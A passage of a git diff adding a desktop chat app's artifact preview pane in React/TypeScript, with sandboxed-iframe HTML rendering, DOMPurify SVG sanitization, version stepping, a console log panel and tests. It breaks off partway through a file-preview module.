@@ -0,0 +1 @@
+export { PreviewTilePane } from './preview'
diff --git a/ui-desktop/src/app/chat/right-rail/preview-artifact.test.tsx b/ui-desktop/src/app/chat/right-rail/preview-artifact.test.tsx
new file mode 100644
index 000000000..5b1a84e20
--- /dev/null
+++ b/ui-desktop/src/app/chat/right-rail/preview-artifact.test.tsx
@@ -0,0 +1,112 @@
+import { act, cleanup, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it } from 'vitest'
+
+import { $artifactRegistry, $artifactVersionSelection, artifactPreviewTarget, upsertArtifact } from '@/store/artifacts'
+
+import { ArtifactPreview } from './preview-artifact'
+
+function register(title: string, kind: 'code' | 'html' | 'svg', content: string) {
+  const result = upsertArtifact('session-1', { kind, language: kind === 'code' ? 'python' : kind, title }, content)
+
+  if (!result) {
+    throw new Error('artifact did not register')
+  }
+
+  return result
+}
+
+async function renderArtifact(artifactId: string) {
+  const record = $artifactRegistry.get()['session-1']!.find(item => item.id === artifactId)!
+
+  await act(async () => {
+    render(<ArtifactPreview target={artifactPreviewTarget(record)} />)
+  })
+}
+
+describe('ArtifactPreview', () => {
+  afterEach(() => {
+    cleanup()
+    $artifactRegistry.set({})
+    $artifactVersionSelection.set({})
+  })
+
+  it('renders html in a scripts-only sandboxed frame the parent app is unreachable from', async () => {
+    const { artifactId } = register('Dashboard', 'html', '<h1>Hi</h1>')
+    await renderArtifact(artifactId)
+
+    const frame = screen.getByTitle('Dashboard') as HTMLIFrameElement
+
+    expect(frame.getAttribute('sandbox')).toBe('allow-scripts')
+    expect(frame.srcdoc).toContain('<h1>Hi</h1>')
+    // No allow-same-origin: scripts inside cannot reach the renderer's origin.
+    expect(frame.getAttribute('sandbox')).not.toContain('same-origin')
+  })
+
+  it('strips scripts out of svg before it renders inline', async () => {
+    const { artifactId } = register(
+      'Logo',
+      'svg',
+      '<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>'
+    )
+
+    await renderArtifact(artifactId)
+
+    expect(document.querySelector('svg')).not.toBeNull()
+    expect(document.querySelector('svg script')).toBeNull()
+  })
+
+  it('offers only the source view for code, which has nothing to render', async () => {
+    const { artifactId } = register('Solver', 'code', 'print("hi")')
+    await renderArtifact(artifactId)
+
+    expect(screen.queryByRole('button', { name: /rendered/i })).toBeNull()
+  })
+
+  it('shows the version stepper once an artifact has history, and follows the selection', async () => {
+    register('Dashboard', 'html', '<h1>v1</h1>')
+    const { artifactId } = register('Dashboard', 'html', '<h1>v2</h1>')
+    await renderArtifact(artifactId)
+
+    expect(screen.getByText('v2 of 2')).toBeTruthy()
+    expect((screen.getByTitle('Dashboard') as HTMLIFrameElement).srcdoc).toContain('v2')
+
+    await act(async () => {
+      $artifactVersionSelection.set({ [artifactId]: 0 })
+    })
+
+    expect(screen.getByText('v1 of 2')).toBeTruthy()
+    expect((screen.getByTitle('Dashboard') as HTMLIFrameElement).srcdoc).toContain('v1')
+  })
+
+  it('hides the stepper for a single-version artifact', async () => {
+    const { artifactId } = register('Dashboard', 'html', '<h1>only</h1>')
+    await renderArtifact(artifactId)
+
+    expect(screen.queryByText('v1 of 1')).toBeNull()
+  })
+
+  it('picks up a new version in an already-open tab', async () => {
+    const { artifactId } = register('Dashboard', 'html', '<h1>v1</h1>')
+    await renderArtifact(artifactId)
+
+    await act(async () => {
+      register('Dashboard', 'html', '<h1>v2</h1>')
+    })
+
+    expect((screen.getByTitle('Dashboard') as HTMLIFrameElement).srcdoc).toContain('v2')
+  })
+
+  it('falls back to an empty state when the registry no longer has the artifact', async () => {
+    const { artifactId } = register('Dashboard', 'html', '<h1>gone</h1>')
+    const record = $artifactRegistry.get()['session-1']!.find(item => item.id === artifactId)!
+    const target = artifactPreviewTarget(record)
+
+    $artifactRegistry.set({})
+
+    await act(async () => {
+      render(<ArtifactPreview target={target} />)
+    })
+
+    expect(screen.queryByTitle('Dashboard')).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/app/chat/right-rail/preview-artifact.tsx b/ui-desktop/src/app/chat/right-rail/preview-artifact.tsx
new file mode 100644
index 000000000..869996e44
--- /dev/null
+++ b/ui-desktop/src/app/chat/right-rail/preview-artifact.tsx
@@ -0,0 +1,263 @@
+import { useStore } from '@nanostores/react'
+import DOMPurify from 'dompurify'
+import { useEffect, useMemo, useState } from 'react'
+
+import { CopyButton } from '@/components/ui/copy-button'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { artifactDownloadName, type ArtifactKind } from '@/lib/artifact-detect'
+import { downloadTextFile } from '@/lib/download-text'
+import { ChevronLeft, ChevronRight, Download, ExternalLink } from '@/lib/icons'
+import { $artifactRegistry, $artifactVersionSelection, findArtifact, selectArtifactVersion } from '@/store/artifacts'
+import { notifyError } from '@/store/notifications'
+import type { PreviewTarget } from '@/store/preview'
+
+import { PreviewEmptyState, PreviewModeSwitcher, type PreviewViewMode, SourceView } from './preview-file'
+
+const MIME_BY_KIND = { code: 'text/plain', html: 'text/html', svg: 'image/svg+xml' } as const
+
+// Shiki has no `svg` grammar; code artifacts keep their detected fence language.
+const SOURCE_LANGUAGE_BY_KIND: Record<ArtifactKind, string | undefined> = {
+  code: undefined,
+  html: 'html',
+  svg: 'xml'
+}
+
+const HEADER_BUTTON_CLASS =
+  'flex items-center gap-1 rounded-md px-1.5 text-[0.625rem] font-bold text-muted-foreground transition-colors hover:bg-accent hover:text-foreground disabled:pointer-events-none disabled:opacity-40'
+
+/** Wrap an HTML fragment in a minimal document shell; full documents pass
+ *  through untouched. Keeps generated fragments (no <html>/<body>) rendering
+ *  with sane defaults instead of quirks-mode soup. */
+function composeArtifactHtml(content: string): string {
+  if (/<html[\s>]|<!doctype\s+html/i.test(content)) {
+    return content
+  }
+
+  return [
+    '<!doctype html>',
+    '<html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">',
+    '<style>body{margin:0;font-family:system-ui,sans-serif}</style></head><body>',
+    content,
+    '</body></html>'
+  ].join('\n')
+}
+
+/** Write the composed document to a real temp file through the existing
+ *  buffer-save IPC, then hand it to the OS browser. A blob/data URL can't
+ *  cross into the OS default browser, so a file on disk is the honest path. */
+async function openHtmlInBrowser(content: string): Promise<void> {
+  const bridge = window.clawcodexDesktop
+
+  if (!bridge?.saveImageBuffer || !bridge.openExternal) {
+    throw new Error('Desktop bridge unavailable')
+  }
+
+  const bytes = new TextEncoder().encode(composeArtifactHtml(content))
+  const path = await bridge.saveImageBuffer(bytes, '.html')
+
+  if (!path) {
+    throw new Error('Could not write artifact file')
+  }
+
+  const fileUrl = `file://${path.startsWith('/') ? '' : '/'}${path.replace(/\\/g, '/')}`
+
+  if (bridge.openPreviewInBrowser) {
+    await bridge.openPreviewInBrowser(fileUrl)
+
+    return
+  }
+
+  await bridge.openExternal(fileUrl)
+}
+
+/**
+ * Live view for renderable artifact content.
+ *
+ * HTML runs in an `<iframe sandbox="allow-scripts">` — scripts execute in an
+ * opaque origin with no same-origin access, no top navigation, no popups, no
+ * form submission out of the frame. The parent app is unreachable. SVG is
+ * DOMPurify-sanitized with the same profile as the inline ```svg embed.
+ */
+function ArtifactLiveView({ content, kind, title }: { content: string; kind: ArtifactKind; title: string }) {
+  const svgClean = useMemo(
+    () => (kind === 'svg' ? DOMPurify.sanitize(content, { USE_PROFILES: { svg: true, svgFilters: true } }) : ''),
+    [content, kind]
+  )
+
+  if (kind === 'svg') {
+    return (
+      <div className="grid h-full place-items-center overflow-auto bg-background p-4 [&_svg]:h-auto [&_svg]:max-h-full [&_svg]:w-auto [&_svg]:max-w-full">
+        <div dangerouslySetInnerHTML={{ __html: svgClean }} />
+      </div>
+    )
+  }
+
+  return (
+    <iframe
+      className="block size-full border-0 bg-white"
+      sandbox="allow-scripts"
+      srcDoc={composeArtifactHtml(content)}
+      // Deliberately raw white + forced light scheme: the frame hosts foreign
+      // generated HTML that assumes a light canvas, so it renders deterministically
+      // light in both app themes instead of inheriting theme tokens it can't see.
+      style={{ colorScheme: 'light' }}
+      title={title}
+    />
+  )
+}
+
+function VersionStepper({
+  current,
+  onSelect,
+  total
+}: {
+  current: number
+  onSelect: (index: number) => void
+  total: number
+}) {
+  const { t } = useI18n()
+  const copy = t.artifactPreview
+
+  if (total < 2) {
+    return null
+  }
+
+  return (
+    <>
+      <Tip label={copy.olderVersion}>
+        <button
+          aria-label={copy.olderVersion}
+          className={HEADER_BUTTON_CLASS}
+          disabled={current === 0}
+          onClick={() => onSelect(current - 1)}
+          type="button"
+        >
+          <ChevronLeft className="size-3" />
+        </button>
+      </Tip>
+      <span className="text-[0.625rem] font-bold tabular-nums text-muted-foreground">
+        {copy.versionOf(current + 1, total)}
+      </span>
+      <Tip label={copy.newerVersion}>
+        <button
+          aria-label={copy.newerVersion}
+          className={HEADER_BUTTON_CLASS}
+          disabled={current === total - 1}
+          onClick={() => onSelect(current + 1)}
+          type="button"
+        >
+          <ChevronRight className="size-3" />
+        </button>
+      </Tip>
+      {current < total - 1 && (
+        <button
+          className="text-[0.625rem] font-bold text-muted-foreground underline decoration-current/25 underline-offset-4 transition-colors hover:text-foreground"
+          onClick={() => onSelect(total - 1)}
+          type="button"
+        >
+          {copy.latest}
+        </button>
+      )}
+    </>
+  )
+}
+
+/**
+ * Renders an `artifact` preview target inside the real preview pane: the
+ * shared mode switcher up top (RENDERED / SOURCE, plus the version stepper and
+ * content actions in its trailing slot) over either the live view or the same
+ * windowed source view a file preview uses.
+ *
+ * The target only carries the artifact id — content is read live from the
+ * registry, so an open tab picks up new versions as the model iterates.
+ */
+export function ArtifactPreview({ target }: { target: PreviewTarget }) {
+  const { t } = useI18n()
+  const copy = t.artifactPreview
+  const artifactId = target.url
+  const registry = useStore($artifactRegistry)
+  const versionSelection = useStore($artifactVersionSelection)
+  const [userMode, setUserMode] = useState<PreviewViewMode | null>(null)
+
+  // Reset the explicit mode when the pane is reused for another artifact.
+  useEffect(() => {
+    setUserMode(null)
+  }, [artifactId])
+
+  const record = useMemo(() => findArtifact(registry, artifactId), [artifactId, registry])
+
+  if (!record) {
+    return <PreviewEmptyState body={copy.missingBody} title={copy.missingTitle} />
+  }
+
+  const renderable = record.kind === 'html' || record.kind === 'svg'
+  const modes: PreviewViewMode[] = renderable ? ['rendered', 'source'] : ['source']
+  const mode = userMode && modes.includes(userMode) ? userMode : modes[0]!
+  const versionIndex = Math.min(versionSelection[artifactId] ?? record.versions.length - 1, record.versions.length - 1)
+  const version = record.versions[versionIndex]!
+
+  return (
+    <div className="flex h-full flex-col overflow-hidden bg-transparent">
+      <PreviewModeSwitcher
+        active={mode}
+        modes={modes}
+        onSelect={setUserMode}
+        trailing={
+          <>
+            <VersionStepper
+              current={versionIndex}
+              onSelect={index => selectArtifactVersion(artifactId, index)}
+              total={record.versions.length}
+            />
+            <CopyButton
+              appearance="inline"
+              className="h-5 px-1 opacity-70 hover:opacity-100"
+              iconClassName="size-3"
+              label={copy.copyContent}
+              showLabel={false}
+              text={version.content}
+            />
+            <Tip label={copy.download}>
+              <button
+                aria-label={copy.download}
+                className={HEADER_BUTTON_CLASS}
+                onClick={() =>
+                  downloadTextFile(
+                    artifactDownloadName(record.kind, record.language, record.title),
+                    version.content,
+                    MIME_BY_KIND[record.kind]
+                  )
+                }
+                type="button"
+              >
+                <Download className="size-3" />
+              </button>
+            </Tip>
+            {record.kind === 'html' && window.clawcodexDesktop && (
+              <Tip label={copy.openInBrowser}>
+                <button
+                  aria-label={copy.openInBrowser}
+                  className={HEADER_BUTTON_CLASS}
+                  onClick={() =>
+                    void openHtmlInBrowser(version.content).catch(error => notifyError(error, copy.openInBrowserFailed))
+                  }
+                  type="button"
+                >
+                  <ExternalLink className="size-3" />
+                </button>
+              </Tip>
+            )}
+          </>
+        }
+      />
+      <div className="min-h-0 flex-1 overflow-hidden">
+        {mode === 'rendered' && renderable ? (
+          <ArtifactLiveView content={version.content} kind={record.kind} title={record.title} />
+        ) : (
+          <SourceView language={SOURCE_LANGUAGE_BY_KIND[record.kind] ?? record.language} text={version.content} />
+        )}
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/chat/right-rail/preview-console-state.ts b/ui-desktop/src/app/chat/right-rail/preview-console-state.ts
new file mode 100644
index 000000000..057742d7b
--- /dev/null
+++ b/ui-desktop/src/app/chat/right-rail/preview-console-state.ts
@@ -0,0 +1,82 @@
+import { atom, computed } from 'nanostores'
+
+type Updater<T> = T | ((current: T) => T)
+
+interface WritableStore<T> {
+  get: () => T
+  set: (value: T) => void
+}
+
+const DEFAULT_CONSOLE_HEIGHT = 240
+
+export interface ConsoleEntry {
+  id: number
+  level: number
+  line?: number
+  message: string
+  source?: string
+}
+
+export interface ConsoleEntryInput {
+  level: number
+  line?: number
+  message: string
+  source?: string
+}
+
+function updateAtom<T>(store: WritableStore<T>, next: Updater<T>) {
+  store.set(typeof next === 'function' ? (next as (current: T) => T)(store.get()) : next)
+}
+
+export function createPreviewConsoleState() {
+  const $height = atom(DEFAULT_CONSOLE_HEIGHT)
+  const $logs = atom<ConsoleEntry[]>([])
+  const $logCount = computed($logs, logs => logs.length)
+  const $open = atom(false)
+  const $selectedLogIds = atom<ReadonlySet<number>>(new Set())
+  let nextLogId = 0
+
+  return {
+    $height,
+    $logCount,
+    $logs,
+    $open,
+    $selectedLogIds,
+    append(entry: ConsoleEntryInput) {
+      $logs.set([...$logs.get().slice(-199), { ...entry, id: ++nextLogId }])
+    },
+    clear() {
+      $logs.set([])
+      $selectedLogIds.set(new Set())
+    },
+    clearSelection() {
+      if ($selectedLogIds.get().size === 0) {
+        return
+      }
+
+      $selectedLogIds.set(new Set())
+    },
+    reset() {
+      nextLogId = 0
+      $logs.set([])
+      $selectedLogIds.set(new Set())
+    },
+    setHeight(next: Updater<number>) {
+      updateAtom($height, next)
+    },
+    setOpen(next: Updater<boolean>) {
+      updateAtom($open, next)
+    },
+    toggleSelection(id: number) {
+      const next = new Set($selectedLogIds.get())
+
+      if (!next.delete(id)) {
+        next.add(id)
+      }
+
+      $selectedLogIds.set(next)
+    }
+  }
+}
+
+export type PreviewConsoleState = ReturnType<typeof createPreviewConsoleState>
diff --git a/ui-desktop/src/app/chat/right-rail/preview-console.tsx b/ui-desktop/src/app/chat/right-rail/preview-console.tsx
new file mode 100644
index 000000000..d504b6e34
--- /dev/null
+++ b/ui-desktop/src/app/chat/right-rail/preview-console.tsx
@@ -0,0 +1,279 @@
+import { useStore } from '@nanostores/react'
+import type { CSSProperties, MutableRefObject, PointerEvent as ReactPointerEvent, RefObject } from 'react'
+import { useEffect, useMemo, useRef } from 'react'
+
+import { requestComposerInsert } from '@/app/chat/composer/focus'
+import { CopyButton } from '@/components/ui/copy-button'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { PanelBottom, Send, Trash2 } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import { notify } from '@/store/notifications'
+
+import type { ConsoleEntry, PreviewConsoleState } from './preview-console-state'
+
+const consoleLevelLabel: Record<number, string> = {
+  0: 'log',
+  1: 'info',
+  2: 'warn',
+  3: 'error'
+}
+
+const consoleLevelClass: Record<number, string> = {
+  0: 'text-foreground',
+  1: 'text-sky-700 dark:text-sky-300',
+  2: 'text-amber-700 dark:text-amber-300',
+  3: 'text-destructive'
+}
+
+const CONSOLE_BOTTOM_THRESHOLD = 24
+const CONSOLE_HEADER_HEIGHT = 32
+
+export function compactUrl(value: string): string {
+  try {
+    const url = new URL(value)
+
+    if (url.protocol === 'file:') {
+      return decodeURIComponent(url.pathname)
+    }
+
+    return `${url.host}${url.pathname}${url.search}`
+  } catch {
+    return value
+  }
+}
+
+export function formatLogLine(log: ConsoleEntry): string {
+  const head = `[${consoleLevelLabel[log.level] || 'log'}]`
+  const tail = log.source ? ` (${compactUrl(log.source)}${log.line ? `:${log.line}` : ''})` : ''
+
+  return `${head} ${log.message}${tail}`.trim()
+}
+
+export function formatConsoleEntries(entries: ConsoleEntry[]): string {
+  return entries.map(formatLogLine).join('\n')
+}
+
+export function isNearConsoleBottom(element: HTMLDivElement | null): boolean {
+  if (!element) {
+    return true
+  }
+
+  return element.scrollHeight - element.scrollTop - element.clientHeight <= CONSOLE_BOTTOM_THRESHOLD
+}
+
+export function clampConsoleHeight(value: number): number {
+  return Math.max(value, CONSOLE_HEADER_HEIGHT)
+}
+
+interface ConsoleRowProps {
+  copyText: string
+  log: ConsoleEntry
+  onSend: () => void
+  onToggleSelect: () => void
+  selected: boolean
+}
+
+function ConsoleRow({ copyText, log, onSend, onToggleSelect, selected }: ConsoleRowProps) {
+  const { t } = useI18n()
+  const copy = t.preview.console
+
+  return (
+    <div
+      className={cn(
+        'group/row grid grid-cols-[3.25rem_minmax(0,1fr)_auto] items-start gap-2 rounded-md border border-transparent px-1 py-1 transition-colors hover:bg-accent/40',
+        selected && 'border-border/60 bg-accent/40'
+      )}
+    >
+      <Tip label={selected ? copy.deselect : copy.select}>
+        <button
+          className={cn(
+            'mt-0.5 text-left uppercase opacity-70 transition-colors hover:opacity-100',
+            consoleLevelClass[log.level] ?? consoleLevelClass[0]
+          )}
+          onClick={onToggleSelect}
+          type="button"
+        >
+          {consoleLevelLabel[log.level] || 'log'}
+        </button>
+      </Tip>
+      <div className="min-w-0" data-selectable-text="true">
+        <span className={cn('block wrap-break-word', consoleLevelClass[log.level] ?? consoleLevelClass[0])}>
+          {log.message}
+        </span>
+        {log.source && (
+          <span className="block truncate text-muted-foreground/60">
+            {compactUrl(log.source)}
+            {log.line ? `:${log.line}` : ''}
+          </span>
+        )}
+      </div>
+      <span className="opacity-0 transition-opacity group-hover/row:opacity-100">
+        <CopyButton
+          appearance="inline"
+          className="rounded-md p-1 text-muted-foreground transition-colors hover:bg-accent hover:text-foreground"
+          errorMessage={copy.copyFailed}
+          iconClassName="size-3"
+          label={copy.copyEntry}
+          showLabel={false}
+          text={copyText}
+        />
+        <Tip label={copy.sendEntry}>
+          <button
+            className="rounded-md p-1 text-muted-foreground transition-colors hover:bg-accent hover:text-foreground"
+            onClick={onSend}
+            type="button"
+          >
+            <Send className="size-3" />
+          </button>
+        </Tip>
+      </span>
+    </div>
+  )
+}
+
+interface PreviewConsolePanelProps {
+  consoleBodyRef: RefObject<HTMLDivElement | null>
+  consoleShouldStickRef: MutableRefObject<boolean>
+  consoleState: PreviewConsoleState
+  startConsoleResize: (event: ReactPointerEvent<HTMLDivElement>) => void
+}
+
+export function PreviewConsolePanel({
+  consoleBodyRef,
+  consoleShouldStickRef,
+  consoleState,
+  startConsoleResize
+}: PreviewConsolePanelProps) {
+  const { t } = useI18n()
+  const copy = t.preview.console
+  const consoleHeight = useStore(consoleState.$height)
+  const logs = useStore(consoleState.$logs)
+  const selectedLogIds = useStore(consoleState.$selectedLogIds)
+  const visibleSelection = useMemo(() => logs.filter(log => selectedLogIds.has(log.id)), [logs, selectedLogIds])
+  const sendableLogs = visibleSelection.length > 0 ? visibleSelection : logs
+  const stickScrollRafRef = useRef<number | null>(null)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (!consoleShouldStickRef.current) {
+      return
+    }
+
+    if (stickScrollRafRef.current !== null) {
+      window.cancelAnimationFrame(stickScrollRafRef.current)
+      stickScrollRafRef.current = null
+    }
+
+    stickScrollRafRef.current = window.requestAnimationFrame(() => {
+      stickScrollRafRef.current = null
+      const consoleBody = consoleBodyRef.current
+      consoleBody?.scrollTo({ top: consoleBody.scrollHeight })
+    })
+
+    return () => {
+      if (stickScrollRafRef.current !== null) {
+        window.cancelAnimationFrame(stickScrollRafRef.current)
+        stickScrollRafRef.current = null
+      }
+    }
+  }, [consoleBodyRef, consoleHeight, consoleShouldStickRef, logs])
+
+  function sendLogsToComposer(entries: ConsoleEntry[]) {
+    if (!entries.length) {
+      return
+    }
+
+    const block = [copy.promptHeader, '```', ...entries.map(formatLogLine), '```'].join('\n')
+
+    requestComposerInsert(block, { mode: 'block', target: 'main' })
+    consoleState.clearSelection()
+    notify({
+      kind: 'success',
+      title: copy.sentTitle,
+      message: copy.sentMessage(entries.length)
+    })
+  }
+
+  return (
+    <div
+      className="pointer-events-auto absolute inset-x-0 bottom-0 z-20 flex h-(--preview-console-height) min-h-8 flex-col overflow-hidden border-t border-border/60 bg-background"
+      style={{ '--preview-console-height': `${consoleHeight}px` } as CSSProperties}
+    >
+      <div
+        aria-label={copy.resize}
+        className="group absolute inset-x-0 -top-1 z-1 h-2 cursor-row-resize"
+        onDoubleClick={() => consoleState.setHeight(CONSOLE_HEADER_HEIGHT)}
+        onPointerDown={startConsoleResize}
+        role="separator"
+      >
+        <span className="absolute left-1/2 top-1/2 h-0.75 w-23 -translate-x-1/2 -translate-y-1/2 rounded-full bg-muted-foreground/80 opacity-0 transition-opacity duration-100 group-hover:opacity-[0.5]" />
+      </div>
+      <div className="flex h-8 shrink-0 items-center justify-between border-b border-border/50 px-2">
+        <div className="flex items-center gap-2 text-[0.6875rem] font-medium text-muted-foreground">
+          <PanelBottom className="size-3.5" />
+          {copy.title}
+          {selectedLogIds.size > 0 && (
+            <span className="rounded-full bg-muted px-1.5 py-px text-[0.5625rem] text-muted-foreground">
+              {copy.selected(selectedLogIds.size)}
+            </span>
+          )}
+        </div>
+        <div className="flex items-center gap-1">
+          <button
+            className="inline-flex items-center gap-1 rounded-md px-1.5 py-0.5 text-[0.625rem] text-muted-foreground transition-colors hover:bg-accent hover:text-foreground disabled:opacity-40"
+            disabled={sendableLogs.length === 0}
+            onClick={() => sendLogsToComposer(sendableLogs)}
+            type="button"
+          >
+            <Send className="size-3" />
+            {copy.sendToChat}
+          </button>
+          <CopyButton
+            appearance="inline"
+            className="inline-flex items-center gap-1 rounded-md px-1.5 py-0.5 text-[0.625rem] text-muted-foreground transition-colors hover:bg-accent hover:text-foreground disabled:opacity-40"
+            disabled={sendableLogs.length === 0}
+            errorMessage={copy.copyFailed}
+            iconClassName="size-3"
+            label={visibleSelection.length > 0 ? copy.copySelected : copy.copyAll}
+            text={() => formatConsoleEntries(sendableLogs)}
+          >
+            {copy.copy}
+          </CopyButton>
+          <button
+            className="inline-flex items-center gap-1 rounded-md px-1.5 py-0.5 text-[0.625rem] text-muted-foreground transition-colors hover:bg-accent hover:text-foreground disabled:opacity-40"
+            disabled={logs.length === 0}
+            onClick={consoleState.clear}
+            type="button"
+          >
+            <Trash2 className="size-3" />
+            {copy.clear}
+          </button>
+        </div>
+      </div>
+      <div
+        className="min-h-0 flex-1 overflow-y-auto px-2 py-1.5 font-mono text-[0.6875rem] leading-relaxed"
+        ref={consoleBodyRef}
+      >
+        {logs.length > 0 ? (
+          logs.map(log => {
+            const selected = selectedLogIds.has(log.id)
+
+            return (
+              <ConsoleRow
+                copyText={formatLogLine(log)}
+                key={log.id}
+                log={log}
+                onSend={() => sendLogsToComposer([log])}
+                onToggleSelect={() => consoleState.toggleSelection(log.id)}
+                selected={selected}
+              />
+            )
+          })
+        ) : (
+          <div className="py-2 text-muted-foreground/70">{copy.empty}</div>
+        )}
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/chat/right-rail/preview-file.tsx b/ui-desktop/src/app/chat/right-rail/preview-file.tsx
new file mode 100644
index 000000000..b81d190ff
--- /dev/null
+++ b/ui-desktop/src/app/chat/right-rail/preview-file.tsx
@@ -0,0 +1,1111 @@
+import { useStore } from '@nanostores/react'
+import type * as React from 'react'
+import type {
+  ComponentProps,
+  CSSProperties,
+  DragEvent as ReactDragEvent,
+  MouseEvent as ReactMouseEvent,
+  ReactNode
+} from 'react'
+import { Fragment, useCallback, useEffect, useMemo, useRef, useState } from 'react'
+import { Streamdown } from 'streamdown'
+
+import { requestComposerFocus, requestComposerInsertRefs } from '@/app/chat/composer/focus'
+import { droppedFileInlineRef } from '@/app/chat/composer/inline-refs'
+import { CLAWCODEX_PATHS_MIME } from '@/app/chat/hooks/use-composer-actions'
+import { isAddSelectionShortcut } from '@/app/right-sidebar/terminal/selection'
+import { RichCodeBlock } from '@/components/assistant-ui/embeds'
+import { CodeEditor } from '@/components/chat/code-editor'
+import { FileDiffPanel } from '@/components/chat/diff-lines'
+import { chunkTextLines, useFixedRowWindow } from '@/components/chat/fixed-row-window'
+import { LazyShiki as ShikiHighlighter } from '@/components/chat/shiki-highlighter'
+import { PageLoader } from '@/components/page-loader'
+import { Tip } from '@/components/ui/tooltip'
+import { translateNow, useI18n } from '@/i18n'
+import {
+  desktopFileDiff,
+  desktopFsCacheKey,
+  desktopGitRoot,
+  readDesktopFileDataUrl,
+  readDesktopFileText,
+  writeDesktopFileText
+} from '@/lib/desktop-fs'
+import { Check, Pencil, X } from '@/lib/icons'
+import { shikiLanguageForFilename } from '@/lib/markdown-code'
+import { cn } from '@/lib/utils'
+import type { PreviewTarget } from '@/store/preview'
+import { setPreviewDirty } from '@/store/preview-edit'
+import { $connection, $currentCwd } from '@/store/session'
+import { notifyWorkspaceChanged } from '@/store/workspace-events'
+
+const SHIKI_THEME = { dark: 'github-dark-default', light: 'github-light-default' } as const
+const TEXT_PREVIEW_MAX_BYTES = 512 * 1024
+const SOURCE_CHUNK_LINES = 200
+const SOURCE_LINE_PX = 20
+const SOURCE_OVERSCAN_LINES = 400
+
+type EmptyStateTone = 'neutral' | 'warning'
+
+const TONE_STYLES: Record<EmptyStateTone, { cube: string; primary: string }> = {
+  neutral: {
+    cube: 'text-muted-foreground/35',
+    primary: 'border-border bg-background text-foreground hover:bg-accent'
+  },
+  warning: {
+    cube: 'text-amber-500/70 dark:text-amber-300/70',
+    primary:
+      'border-amber-400/40 bg-amber-50 text-amber-900 hover:bg-amber-100 dark:border-amber-300/30 dark:bg-amber-300/15 dark:text-amber-100 dark:hover:bg-amber-300/20'
+  }
+}
+
+function PreviewCubeIcon({ className }: { className?: string }) {
+  return (
+    <svg aria-hidden="true" className={cn('size-16', className)} viewBox="0 0 64 64">
+      <path
+        d="M32 5 56 18.5v27L32 59 8 45.5v-27L32 5Z"
+        fill="none"
+        stroke="currentColor"
+        strokeLinejoin="round"
+        strokeWidth="1.25"
+      />
+      <path
+        d="M8 18.5 32 32l24-13.5M32 32v27"
+        fill="none"
+        stroke="currentColor"
+        strokeLinejoin="round"
+        strokeWidth="1.25"
+      />
+      <path d="M20 11.75 44 25.25" fill="none" opacity="0.45" stroke="currentColor" strokeWidth="0.9" />
+    </svg>
+  )
+}
+
+interface PreviewEmptyStateProps {
+  body?: ReactNode
+  consoleHeight?: number
+  primaryAction?: { disabled?: boolean; label: string; onClick: () => void }
+  secondaryAction?: { disabled?: boolean; label: string; onClick: () => void }
+  title: string
+  tone?: EmptyStateTone
+}
+
+export function PreviewEmptyState({
+  body,
+  consoleHeight = 0,
+  primaryAction,
+  secondaryAction,
+  title,
+  tone = 'neutral'
+}: PreviewEmptyStateProps) {
+  const styles = TONE_STYLES[tone]
+
+  return (
+    <div
+      className="absolute inset-x-0 top-0 z-10 grid place-items-center bg-background px-8 py-10 text-center bottom-(--preview-error-bottom)"
+      style={{ '--preview-error-bottom': `${consoleHeight}px` } as CSSProperties}
+    >
+      <div className="grid max-w-sm justify-items-center gap-5">
+        <PreviewCubeIcon className={styles.cube} />
+        <div className="grid gap-2">
+          <div className="text-sm font-medium text-foreground">{title}</div>
+          {body && <div className="text-xs leading-relaxed text-muted-foreground">{body}</div>}
+        </div>
+        {(primaryAction || secondaryAction) && (
+          <div className="grid justify-items-center gap-2">
+            {primaryAction && (
+              <button
+                className={cn(
+                  'rounded-full border px-3.5 py-1.5 text-xs font-medium shadow-xs transition-colors disabled:cursor-default disabled:opacity-60',
+                  styles.primary
+                )}
+                disabled={primaryAction.disabled}
+                onClick={primaryAction.onClick}
+                type="button"
+              >
+                {primaryAction.label}
+              </button>
+            )}
+            {secondaryAction && (
+              <button
+                className="text-[0.6875rem] font-medium text-muted-foreground underline decoration-current/20 underline-offset-4 transition-colors hover:text-foreground disabled:cursor-default disabled:text-muted-foreground/55 disabled:no-underline"
+                disabled={secondaryAction.disabled}
+                onClick={secondaryAction.onClick}
+                type="button"
+              >
+                {secondaryAction.label}
+              </button>
+            )}
+          </div>
+        )}
+      </div>
+    </div>
+  )
+}
+
+interface LocalPreviewState {
+  binary?: boolean
+  byteSize?: number
+  dataUrl?: string
+  /** Working-tree-vs-HEAD unified diff, when the file has uncommitted changes. */
+  diff?: string
+  error?: string
+  language?: string
+  loading: boolean
+  text?: string
+  truncated?: boolean
+}
+
+// True when focus is in a field that should swallow plain keystrokes (so the
+// bare-`e` edit shortcut never fires while the user is typing in the composer,
+// a search box, or the editor itself).
+function isTypableElement(el: Element | null): boolean {
+  if (!el) {
+    return false
+  }
+
+  const tag = el.tagName
+
+  return tag === 'INPUT' || tag === 'TEXTAREA' || tag === 'SELECT' || (el as HTMLElement).isContentEditable
+}
+
+function filePathForTarget(target: PreviewTarget) {
+  if (target.path) {
+    return target.path
+  }
+
+  try {
+    const url = new URL(target.url)
+
+    return url.protocol === 'file:' ? decodeURIComponent(url.pathname) : target.url
+  } catch {
+    return target.url
+  }
+}
+
+function formatBytes(bytes: number | undefined) {
+  if (!bytes) {
+    return translateNow('preview.unknownSize')
+  }
+
+  const units = ['B', 'KB', 'MB', 'GB']
+  let value = bytes
+  let unit = 0
+
+  while (value >= 1024 && unit < units.length - 1) {
+    value /= 1024
+    unit += 1
+  }
+
+  return `${value >= 10 || unit === 0 ? value.toFixed(0) : value.toFixed(1)} ${units[unit]}`
+}
+
+function looksBinaryBytes(bytes: Uint8Array) {
+  if (!bytes.length) {
+    return false
+  }
+
+  let suspicious = 0
+
+  for (const byte of bytes.slice(0, 4096)) {
+    if (byte === 0) {
+      return true
+    }
+
